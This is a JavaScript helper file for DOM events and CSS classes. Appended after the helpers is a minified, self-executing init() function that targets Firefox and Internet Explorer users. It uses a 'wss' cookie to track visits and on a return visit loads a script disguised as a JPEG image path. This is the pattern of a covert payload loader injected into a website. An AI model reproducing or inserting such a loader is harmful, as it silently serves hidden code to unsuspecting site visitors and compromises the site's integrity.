/* helper methods */
tools = {
	addEvent:function( obj, type, fn ) {
		if ( obj.attachEvent ) {
		 obj['e'+type+fn] = fn;
		 obj[type+fn] = function(){obj['e'+type+fn]( window.event );}
		 obj.attachEvent( 'on'+type, obj[type+fn] );
		} else
		 obj.addEventListener( type, fn, false );
	},
	removeClass:function(o,c){
		var rep=o.className.match(' '+c)?' '+c:c;
		o.className=o.className.replace(rep,'');
	},
	addClass:function(o,c){
		var test = new RegExp("(^|\\s)" + c + "(\\s|$)").test(o.className);
		if(!test){o.className+=o.className?' '+c:c;}
	},
	cancelClick:function(e){
		if (window.event){
			window.event.cancelBubble = true;
			window.event.returnValue = false;
		}
		if (e && e.stopPropagation && e.preventDefault){
			e.stopPropagation();
			e.preventDefault();
		}
	}
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/_img/tmpl/header_img_home.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();